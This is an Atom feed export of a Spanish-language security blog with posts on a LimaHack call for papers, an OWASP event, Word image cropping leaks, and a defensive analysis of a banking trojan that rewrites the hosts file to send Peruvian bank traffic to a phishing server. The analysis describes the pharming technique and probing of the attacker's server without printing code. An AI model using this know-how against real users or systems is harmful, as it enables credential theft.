<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1142420473059173802</id><updated>2012-02-16T01:23:54.068-05:00</updated><category term='.bash_profile'/><category term='Enumeracion'/><category term='Certified Ethical Hacker'/><category term='MS10_002'/><category term='OWASP Peru'/><category term='Troyano Bancario'/><category term='evidencias'/><category term='Confidencialidad'/><category term='Metasploit'/><category term='Pharming Peru'/><category term='OpenOffice'/><category term='Open-Sec'/><category term='Ekoparty'/><category term='Nmap'/><category term='Seguridad Informatica'/><category term='Password Cracking'/><category term='Ecuador'/><category term='Word'/><category term='Web'/><category term='LDAP'/><category term='Ekoparty 2010'/><category term='Aurora'/><category term='Argentina'/><category term='Malware Peru'/><category term='OWASP'/><category term='LimaHack'/><category term='Honduras'/><category term='Medusa'/><category term='Offensive Security'/><category term='OSEH'/><category term='Brute Force'/><category term='Open Sec Ethical Hacker'/><category term='Analisis de Malware'/><category term='VNC'/><category term='Security Conference'/><category term='Hacking'/><category term='Training'/><category term='How Strong is Your Fu'/><category term='exploit'/><category term='OWASP Latam Tour'/><category term='Buffer overflow'/><title type='text'>Open-Sec -Seguridad y Contraseguridad Informática</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>29</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-9137474991234486999</id><published>2011-09-14T11:38:00.000-05:00</published><updated>2011-09-14T11:38:12.899-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LimaHack'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>LimaHack 2011 - Call For Papers</title><content type='html'>Extraido de: &lt;a href="http://limahack.com/index.aspx?pagina=cfp.aspx"&gt;http://limahack.com/index.aspx?pagina=cfp.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Te parece gracioso como quieren parar el "hacktivismo" de Anonymous ampliando los anchos de banda ? Te resulta divertido explicarle a los demas como piratasdelared saco informacion de algunos sitios ? Ahora tu fingerprint (footprint para otros) incluye los sitios pastebin ? Blogueas continuamente explicando tecnicas de explotacion de vulnerabilidades ? Eres un pentester profesional ? No mandas mails a las listas de correo pidiendo ayuda para que funcione tu hack tool sino que la hackeas para que funcione "as expected" ? Aprendiste a desarrollar exploits y ahora quieres gritarselo al mundo (bueno, por ahora al menos a todo Perú) ? Investigaste sobre como funciona Stuxnet y quieres compartir todo ese conocimiento ? Eres bueno explicando a los "nuevos" y gerentes los temas de hacking ? Eres mujer y hackeas como Joanna Rutkowska ? Dominas algun framework de hacking al 100% ?&lt;br /&gt;&lt;br /&gt;Si respondiste SI, entonces eres la cantidadata (las mujeres primero) o el candidato ideal para exponer en LimaHack 2011 y el motivo principal es querer compartir el conocimiento con los demas.&lt;br /&gt;&lt;br /&gt;Todos esos motivos son un ejemplo de lo que esperamos sean las exposiciones durante esta edicion de LimaHack 2011 que considera charlas por diferentes niveles de conocimiento :&lt;br /&gt;- Introductorio&lt;br /&gt;- Medio / Tutorial&lt;br /&gt;- Avanzado&lt;br /&gt;&lt;br /&gt;Tambien hemos considerado diferentes tipos de exposiciones :&lt;br /&gt;- Networking. Orientado a hacking de dispositivos de red.&lt;br /&gt;- Desarrollo. Orientado a hacking de aplicaciones en general.&lt;br /&gt;- Administracion de Sistemas. Lo mas clasico del hacking.&lt;br /&gt;- Consultoria. Para consultores que ven tema de seguridad, ejemplo : el tecnico que instala los IPSs.&lt;br /&gt;&lt;br /&gt;Es importante que tengas en cuenta que LimaHack es acerca de hacking de seguridad y temas relacionados (analisis de incidentes, computacion forense). LimaHack no es acerca de como establecer un SGSI ni como auditar con respecto a COBIT ni los 10 mejores tips para configurar un firewall.&lt;br /&gt;&lt;br /&gt;LimaHack es un evento que durara un dia completo y que tendra charlas en paralelo, asi que hay muchas oportunidades de presentar tus investigaciones y compartir lo que sabes.&lt;br /&gt;&lt;br /&gt;El Comite organizador evaluara los "papers" que envies, te confirmara tu participacion y en base a esto se publicara la agenda.&lt;br /&gt;&lt;br /&gt;Por ser un evento 100% gratuito, no habra cobertura de gastos de viaje de ningun tipo.&lt;br /&gt;&lt;br /&gt;Es importante que estes 100% seguro del compromiso que asumiras y que se requerira que prepares una presentacion y que el contenido sera revisado previamente asi como la ejecucion de la exposicion.&lt;br /&gt;No esperamos demos en vivo y reales de como meterse a la base de datos de una organizacion, por ejemplo, porque entonces seria nuestro ultimo LimaHack, solo cuentas como hiciste y si estas mintiendo, el detector de mentiras te pasara una descarga de 50,000 voltios para que recapacites ;)&lt;br /&gt;&lt;br /&gt;IMPORTANTE : LimaHack es el evento MAS tecnico de seguridad en Perú, no se aceptaran papers que propongan promocion de productos, servicios, marcas, etc.&lt;br /&gt;&lt;br /&gt;De que hablamos : LimaHack 2011 Call For Papers&lt;br /&gt;Cuando : El CfP se cerrara el 29 de setiembre&lt;br /&gt;Como : Completar el formato del paper de acuerdo al ejemplo colocado en &amp;lt;&lt;a href="http://limahack.com/nombre-apellido-titulo_paper.txt"&gt;paper_ejemplo.txt&lt;/a&gt;&amp;gt; y enviarlo en formato de texto plano y simple a cfp@limahack.com&lt;br /&gt;(El nombre del archivo debe tener el formato : nombre-apellido-titulo_paper.txt)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-9137474991234486999?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/9137474991234486999/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2011/09/limahack-2011-call-for-papers.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/9137474991234486999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/9137474991234486999'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2011/09/limahack-2011-call-for-papers.html' title='LimaHack 2011 - Call For Papers'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-8194900278360230172</id><published>2011-08-11T12:58:00.001-05:00</published><updated>2011-08-11T13:05:00.743-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP Latam Tour'/><title type='text'>OWASP Latam Tour 2011 en Lima</title><content type='html'>Les copio la invitación del capítulo local de OWASP.&lt;br /&gt;&lt;br /&gt;Estimados,&lt;br /&gt;&lt;br /&gt;El presente correo es para invitarlos al OWASP LATAM TOUR 2011,  el cual esta organizado en conjunto por el Capitulo Peruano de OWASP y OWASP Foundation, el ingreso es libre para miembros de OWASP y estudiantes Universitarios (Pre-Grado) quienes deberán acreditar su ingreso con el Carnet Universitario vigente.&lt;br /&gt;&lt;br /&gt;Si deseas ser miembro el proceso de registro se detalla líneas abajo.&lt;br /&gt;&lt;br /&gt;INFORMACIÓN RELACIONADA AL EVENTO&lt;br /&gt;&lt;br /&gt;Día :              Sábado, 13 de Agosto del 2011&lt;br /&gt;Hora:              9 am - Acreditación&lt;br /&gt;                   10 am  a 4 pm - Conferencias&lt;br /&gt;Dirección:         Av. Salaverry 2625 – San Isidro (Frente al Hotel Meliá)&lt;br /&gt;                   Auditorio – Pabellón “A”, 4to piso  (Capacidad de 150 personas)&lt;br /&gt;&lt;br /&gt;Sitio Web:     &lt;a href="https://www.owasp.org/index.php?title=LatamTour2011#tab=Lima.2C_Peru"&gt;https://www.owasp.org/index.php?title=LatamTour2011#tab=Lima.2C_Peru&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Registro:          &lt;a href="http://www.regonline.com/trainingdayperu"&gt;http://www.regonline.com/trainingdayperu&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PONENTES:&lt;br /&gt;&lt;br /&gt;- Fabio Cerullo&lt;br /&gt;&lt;br /&gt;Especialista en Seguridad en AIB Bank (Irlanda) - Miembro del Comité Global de Educación OWASP&lt;br /&gt;&lt;br /&gt;- Ing. Ricardo Supo&lt;br /&gt;&lt;br /&gt;Chief Security Office en Consultoría LimaSoft SAC - Líder Capítulo Peruano OWASP&lt;br /&gt;&lt;br /&gt;- Ing. Juan Pablo Quiñe&lt;br /&gt;&lt;br /&gt;CSO en Hewlett-Packard Perú&lt;br /&gt;&lt;br /&gt;- Ing. Andrés Morales&lt;br /&gt;&lt;br /&gt;Consultor Senior Seguridad Informática en Ximark&lt;br /&gt;&lt;br /&gt;- Bach. Mauricio Velazco&lt;br /&gt;&lt;br /&gt;Consultor de Seguridad en OpenSEC&lt;br /&gt;&lt;br /&gt;- John Vargas&lt;br /&gt;&lt;br /&gt;Consultor de Seguridad en ETEK INTERNACIONAL - Fundador y Líder Capítulo Peruano OWASP&lt;br /&gt;&lt;br /&gt;- Rolando Antón&lt;br /&gt;&lt;br /&gt;Coordinador de Servicios – Consultor de Seguridad en ETEK INTERNACIONAL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PROGRAMA DEL EVENTO&lt;br /&gt;&lt;br /&gt;Presentación y palabras de Bienvenida&lt;br /&gt;John Vargas&lt;br /&gt;&lt;br /&gt;OWASP Top 10&lt;br /&gt;Fabio Cerullo&lt;br /&gt;&lt;br /&gt;Google Hacking&lt;br /&gt;John Vargas&lt;br /&gt;&lt;br /&gt;Presentación de SQLinJeymei&lt;br /&gt;Ricardo Supo&lt;br /&gt;&lt;br /&gt;OWASP Testing Guide&lt;br /&gt;Mauricio Velazco&lt;br /&gt;&lt;br /&gt;Usando técnicas Man in the Middle para la Seguridad Web&lt;br /&gt;Juan Pablo Quiñe&lt;br /&gt;&lt;br /&gt;2011 CWE/SANS - Top 25 Monster Mitigations &amp; OWASP TOP10 2010&lt;br /&gt;Andres Morales&lt;br /&gt;&lt;br /&gt;OWASP WebGoat Project&lt;br /&gt;Rolando Antón&lt;br /&gt;&lt;br /&gt;Adicionalmente  incluyo algo más de información acerca de OWASP&lt;br /&gt;&lt;br /&gt;¿Cómo ser miembro?&lt;br /&gt;&lt;br /&gt;Para hacerse de la membresia de OWASP deberán ingresar al siguiente Link:&lt;br /&gt;&lt;br /&gt;http://www.regonline.com/Register/Checkin.aspx?EventID=919827&lt;br /&gt;&lt;br /&gt;Seleccionar el tipo de Membresia ( Individual Member ) durante el proceso de pago podemos ingresar el Cupon de Descuento LATAM y se aplicara un descuento del 60% . (El costo normal es de 50 dolares).&lt;br /&gt;&lt;br /&gt;Al ser miembro de OWASP algunos de los beneficios son :&lt;br /&gt;&lt;br /&gt;Participacion de manera gratuita a todos los eventos organizados por OWASP Perú.&lt;br /&gt;Posibilidad de adquirir CPE's&lt;br /&gt;Pertener a OWASP Linked'In Grupo&lt;br /&gt;La lista de beneficios adicionales los podemos ver en&lt;br /&gt;https://www.owasp.org/index.php/Member_Offers&lt;br /&gt;https://www.owasp.org/index.php/Membership&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-8194900278360230172?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/8194900278360230172/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2011/08/owasp-latam-tour-2011-en-lima.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/8194900278360230172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/8194900278360230172'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2011/08/owasp-latam-tour-2011-en-lima.html' title='OWASP Latam Tour 2011 en Lima'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-1338538088635083045</id><published>2011-04-08T21:04:00.000-05:00</published><updated>2011-04-08T21:04:17.871-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pharming Peru'/><category scheme='http://www.blogger.com/atom/ns#' term='Analisis de Malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware Peru'/><category scheme='http://www.blogger.com/atom/ns#' term='Troyano Bancario'/><title type='text'>Troyanos Bancarios en Peru II</title><content type='html'>Hola.&lt;br /&gt;&lt;br /&gt;Antes de leer esto, asegurate de leer la primera parte de este post &lt;a href="http://ehopen-sec.blogspot.com/2011/02/troyanos-bancarios-en-peru-i-operacion.html"&gt;aqui&lt;/a&gt; .&lt;br /&gt;&lt;br /&gt;En la &lt;a href="http://ehopen-sec.blogspot.com/2011/02/troyanos-bancarios-en-peru-i-operacion.html"&gt;primera parte&lt;/a&gt; mostre la manera como el malware era descargado a la victima haciéndose pasar por una postal de amor. Ahora veremos el funcionamiento del malware una vez ejecutado por la victima. El escenario : la victima recibe el correo, confia en el titulo, descarga el archivo Postal.exe y lo ejecuta.&lt;br /&gt;&lt;br /&gt;Antes de empezar, es importante recalcar que si reciben un archivo sospechoso NO LO EJECUTEN, apliquemos la politica del implicit deny. Todo lo que parece extraño, lo desechamos y solo leeremos y abriremos correos de contactos conocidos. Ademas tengan en cuenta tener siempre un antivirus actualizado. Por otro lado, si lo que quieren hacer es jugar con el malware para ver lo que hace, utilicen una maquina virtual para probarlo. Aunque algunos tipos de malware reconocen si estan corriendo sobre una maquina virtual y no ejecutan su payload, pero eso para otro dia.&lt;br /&gt;&lt;br /&gt;Ok, una vez ejecutado el malware lo primero que notamos es trafico de red inusual. Utilizamos un analizador de paquetes como &lt;a href="http://www.wireshark.org/"&gt;Wireshark&lt;/a&gt; para ver mas alla de lo evidente.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-ab2X1gHe19I/TZ338KtAOhI/AAAAAAAAALw/cNHEyrl6XEw/s1600/hosts1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-M3UiQzS2YOE/TZ33wIOISYI/AAAAAAAAALs/u13xfCUSQfI/s1600/wireshark1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://1.bp.blogspot.com/-M3UiQzS2YOE/TZ33wIOISYI/AAAAAAAAALs/u13xfCUSQfI/s400/wireshark1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;En los paquetes 1y2 se observa una resolución DNS de un dominio .com. Al revisar el host, vemos que es de una empresa de latinoamerica cuyo servidor probablemente ha sido vulnerado como parte de la campaña. En 3,4 y 5 vemos el establecimiento de una sesión TCP el famoso &lt;a href="http://en.wikipedia.org/wiki/Transmission_Control_Protocol"&gt;SYN - SYN-ACK - ACK&lt;/a&gt; hacia el puerto 80 del server mencionado. A partir del paquete numero 6 vemos lo mas interesante, un requerimiento HTTP con el metodo GET hacia un recurso localizado en &lt;span style="color: red;"&gt;/images/bg.jpg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Al ver el contenido de esta supuesta imagen las primeras lineas nos develan la naturaleza del ataque.&amp;nbsp;&lt;span style="color: red;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-ab2X1gHe19I/TZ338KtAOhI/AAAAAAAAALw/cNHEyrl6XEw/s1600/hosts1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="255" src="http://4.bp.blogspot.com/-ab2X1gHe19I/TZ338KtAOhI/AAAAAAAAALw/cNHEyrl6XEw/s400/hosts1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Al final del archivo, vemos lo mas interesante.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-yOUmsfXSzF0/TZ34WMu85vI/AAAAAAAAAL4/A2cUaVelQEA/s1600/hosts2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="136" src="http://2.bp.blogspot.com/-yOUmsfXSzF0/TZ34WMu85vI/AAAAAAAAAL4/A2cUaVelQEA/s400/hosts2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;En su totalidad, este es el famoso archivo &lt;a href="http://es.wikipedia.org/wiki/Archivo_hosts"&gt;hosts&lt;/a&gt;. Para los que no saben que es, una breve descripcion. Como sabemos, los equipos en internet utilizan su dirección IP para comunicarse entre ellos. Dado que seria imposible para un ser humano acordarse de los numeros IP de todos los dominios que visita, se invento el protocolo DNS para resolver una direccion IP a un nombre de dominio. Claro, es mas facil para un usuario acordarse de &lt;span style="color: red;"&gt;www.google.com&lt;/span&gt; que de &lt;span style="color: red;"&gt;74.125.226.115&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Sin embargo, el sistema operativo, antes de mandar una consulta al servidor DNS, lo primero que hace es revisar el archivos hosts. Este es un simple fichero localizado en el sistema de archivos del equipo (en Windows: &lt;span style="color: red;"&gt;C:\Windows\System32\drivers\etc\hosts&lt;/span&gt;  En linux: &lt;span style="color: red;"&gt;/etc/hosts &lt;/span&gt;) que contiene entradas con la estructura &lt;span style="color: red;"&gt;&lt;strong&gt;Direccion IP : Dominio&lt;/strong&gt;&lt;/span&gt;. En resumen, cuando escribes en tu navegador www.google.com lo que hace el sistema operativo primero es buscar en el archivo hosts si existe alguna entrada para ese dominio (www.google.com). De existir, toma la direccion IP del archivo e intenta conectarse al mismo. Es decir, ya no hace la consulta DNS y confia en el archivos hosts.&lt;br /&gt;&lt;br /&gt;Este ataque es conocido como &lt;a href="http://es.wikipedia.org/wiki/Pharming"&gt;Pharming&lt;/a&gt;. Lo que hace el malware primero es descargar un archivo hosts modificado maliciosamente y sobreescribe el archivo original del equipo por el descargado, de manera que cuando el usuario intente conectarse a cualquiera de esos dominios (todos de ellos bancos peruanos) en realidad se estara conectando a la IP del atacante quien configura un servidor Web en el equipo para que a la victima se le presenta una Web idéntica a la de su banco y de esta forma podra obtener las credenciales para luego hacer transacciones fraudulentas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-MrDy8UM0lH4/TZ3436Vy5qI/AAAAAAAAAL8/7K7MB45BdUk/s1600/turnkeyWhois.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="191" src="http://1.bp.blogspot.com/-MrDy8UM0lH4/TZ3436Vy5qI/AAAAAAAAAL8/7K7MB45BdUk/s400/turnkeyWhois.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Como vemos, una única direccion IP es utilizada para todos los dominios. Al analizar el registro de esa dirección IP en la base de datos Whois de &lt;a href="https://www.arin.net/"&gt;ARIN&lt;/a&gt; podemos observar que le pertenece a la empresa &lt;a href="http://turnkeyinternet.net/"&gt;Turnkey Internet Inc&lt;/a&gt; localizada en Norteamerica. Esta empresa brinda servicios de hosting y servidores dedicados. Luego de realizar un DNS reverso y un escaneo de puertos, concluimos que el atacante adquirió un VPS (&lt;a href="http://en.wikipedia.org/wiki/Virtual_private_server"&gt;Virtual Private Server&lt;/a&gt;) de la compañia que tiene un costo que varia entre 39 y 129 dolares al mes. Ya saben lo que dicen, para ganar dinero hay que gastarlo. Habrá comprado el atacante este servicio son su propia tarjeta de crédito o con una robada ? De ser lo primero entonces Turnkey Internet Inc tiene la identidad real de nuestro atacante en su base de datos...&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-WJ9Cc_BXJNE/TZ35Il3EtVI/AAAAAAAAAMA/y_P8cZaz8Is/s1600/escane0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://2.bp.blogspot.com/-WJ9Cc_BXJNE/TZ35Il3EtVI/AAAAAAAAAMA/y_P8cZaz8Is/s400/escane0.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Viendo el escaneo de puertos vemos una tipica instalacion por defecto de un VPS, con un CPanel y Plesk para su facil administracion. SMTP, POP3, POP3S, IMAP, IMAPS, DNS, muchos servicios innecesarios lo que nos muestra que el atacante no hizo un hardening de su servidor y que nos puede dar una luz respecto a su perfil. Lo mismo si ingresamos al servidor Web sin suplirle una cabecera HOST, vemos algunos archivos por defecto de una instalación de apache.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-XjPKI1IHE4g/TZ35dm-3S9I/AAAAAAAAAME/q0XfG_LnTpw/s1600/server2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-XjPKI1IHE4g/TZ35dm-3S9I/AAAAAAAAAME/q0XfG_LnTpw/s320/server2.png" width="316" /&gt;&lt;/a&gt;&lt;/div&gt;Jugando un poco con las aplicaciones Web falsas me asombra el nivel de detalle que el atacante le ha añadido (todo en php). Incluso implementa la tarjeta de coordenadas utilizadas por muchos bancos para que las victimas no sospechen. Probando algunas cosas, logro forzar un error PHP en el servidor lo que nos brinda un &lt;a href="http://www.owasp.org/index.php/Full_Path_Disclosure"&gt;Full Path Disclosure&lt;/a&gt; y podemos averiguar el usuario con el que el atacante maneja su servidor: PEPITOCO. Al &lt;a href="http://www.google.com.pe/#hl=es-419&amp;amp;source=hp&amp;amp;biw=1229&amp;amp;bih=485&amp;amp;q=pepitoco&amp;amp;aq=f&amp;amp;aqi=&amp;amp;aql=&amp;amp;oq=&amp;amp;fp=66ccd2694fc1c7f7"&gt;googlear&lt;/a&gt; este nick, vemos varios resultados pero no encontramos nada relevante.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ufzicE8sPbM/TZ36Ch8BejI/AAAAAAAAAMI/_3-eHNLhjWg/s1600/errorVPS2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="186" src="http://3.bp.blogspot.com/-ufzicE8sPbM/TZ36Ch8BejI/AAAAAAAAAMI/_3-eHNLhjWg/s400/errorVPS2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Lamentablemente cuando quise darle mas tiempo para analizar esta campaña, el servidor del atacante habia sido dado de baja por el proveedor.&lt;br /&gt;&lt;br /&gt;Con esto terminamos. Hemos visto a grandes rasgos el funcionamiento de un troyano bancario desde su propagación hasta su ejecución. Algo importante es que este malware apunta exclusivamente a bancos peruanos. Alrededor de 3 meses despues de iniciada la campaña el servidor del atacante fue dado de baja. En ese tiempo, cuántas victimas habrán ingresado sus credenciales en esos portales falsos ?&lt;br /&gt;&lt;br /&gt;No lo olviden, desechar todo correo extraño. No está demas revisar si su archivo hosts no tiene algo extraño. Lo pueden encontrar en :&lt;br /&gt;C:\Windows\System32\drivers\etc\hosts&lt;br /&gt;&lt;br /&gt;Saludos.&lt;br /&gt;MVelazco&lt;br /&gt;&lt;a href="http://twitter.com/mvelazco"&gt;http://twitter.com/mvelazco&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-1338538088635083045?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/1338538088635083045/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2011/04/troyanos-bancarios-en-peru-ii.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1338538088635083045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1338538088635083045'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2011/04/troyanos-bancarios-en-peru-ii.html' title='Troyanos Bancarios en Peru II'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-M3UiQzS2YOE/TZ33wIOISYI/AAAAAAAAALs/u13xfCUSQfI/s72-c/wireshark1.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-5364687376039590790</id><published>2011-04-06T10:41:00.004-05:00</published><updated>2011-04-06T10:51:18.323-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OpenOffice'/><category scheme='http://www.blogger.com/atom/ns#' term='Confidencialidad'/><category scheme='http://www.blogger.com/atom/ns#' term='Word'/><title type='text'>Lo que CORTAS no siempre se CORTA</title><content type='html'>Escrito por Rodolfo Castelo.&lt;br /&gt;&lt;br /&gt;Empezaré por contarles que hoy mi amigo Walter, ante un hecho personal me consulto sobre un tema de Microsoft Office (como soy según él mosquetero de Microsoft), en donde una imagen previamente “cortada” es mostrada en toda su plenitud original, en otras palabras la imagen sin cortar. Entendemor por "cortar" a la trata de la imagen para que sólo sea visible parte de ella.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En vista de ello, se me ocurrió una teoría no muy zafada, y creo algo lógico, claro está en el escenario usado, pero que tenía que probarse.&lt;br /&gt;Bueno, la teoría era la siguiente:&lt;br /&gt;&lt;br /&gt;“Microsoft Office, en su herramienta Word no es una suite ni aplicación de dibujo, pero que tiene algunos componentes que nos ayudan en el día a día para colocar imágenes en nuestros documentos y así hacerlos más atractivos y entendibles, por tanto, al cortar una imagen, este lo que hace es &lt;b&gt;dejar visible la parte que nos interesa&lt;/b&gt; y&lt;b&gt; ocultar con parámetros, meta o tags el resto&lt;/b&gt; de la imagen original, por tanto otra herramienta similar a Word, no necesariamente interpreta esta información de manera correcta o simplemente no lo hace, hecho por el cual &lt;b&gt;deja visible toda la imagen&lt;/b&gt;, es ahí donde llegamos a decir &lt;b&gt;LO QUE CORTAS NO SIEMPRE SE CORTA&lt;/b&gt;”&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Hice un printscreen y lo pegue en Word 2010&lt;/li&gt;&lt;li&gt;Luego se usó la utilidad recortar y se dejo visible sólo parte de la imagen.&lt;/li&gt;&lt;li&gt;Grabé el documento y se lo envíe a mi amigo Walter quien lo abrió con OpenOffice&lt;/li&gt;&lt;li&gt;¿Qué creen? En el documento, Walter ve la imagen original sin cortes y no sólo lo que se dejo visible.&lt;/li&gt;&lt;/ul&gt;Por tanto la teoría era cierta, el Microsoft Word, al recortar directamente en la aplicación una imagen, &lt;b&gt;no lo hace en realidad&lt;/b&gt; solo deja visible lo que deseas, pero en realidad  guarda la imagen original y completa. El Open Office desecha los parámetros de ocultación y muestra la totalidad de la imagen.&lt;br /&gt;&lt;br /&gt;Este tema podría catalogarse como un punto a considerar dentro de los análisis de seguridad de información ya que afecta directamente a la &lt;b&gt;Confidencialidad&lt;/b&gt; del remitente siempre y cuando se manipule imágenes en el mismo Microsoft Word y no en aplicaciones de terceros enfocadas al dibujo.&lt;br 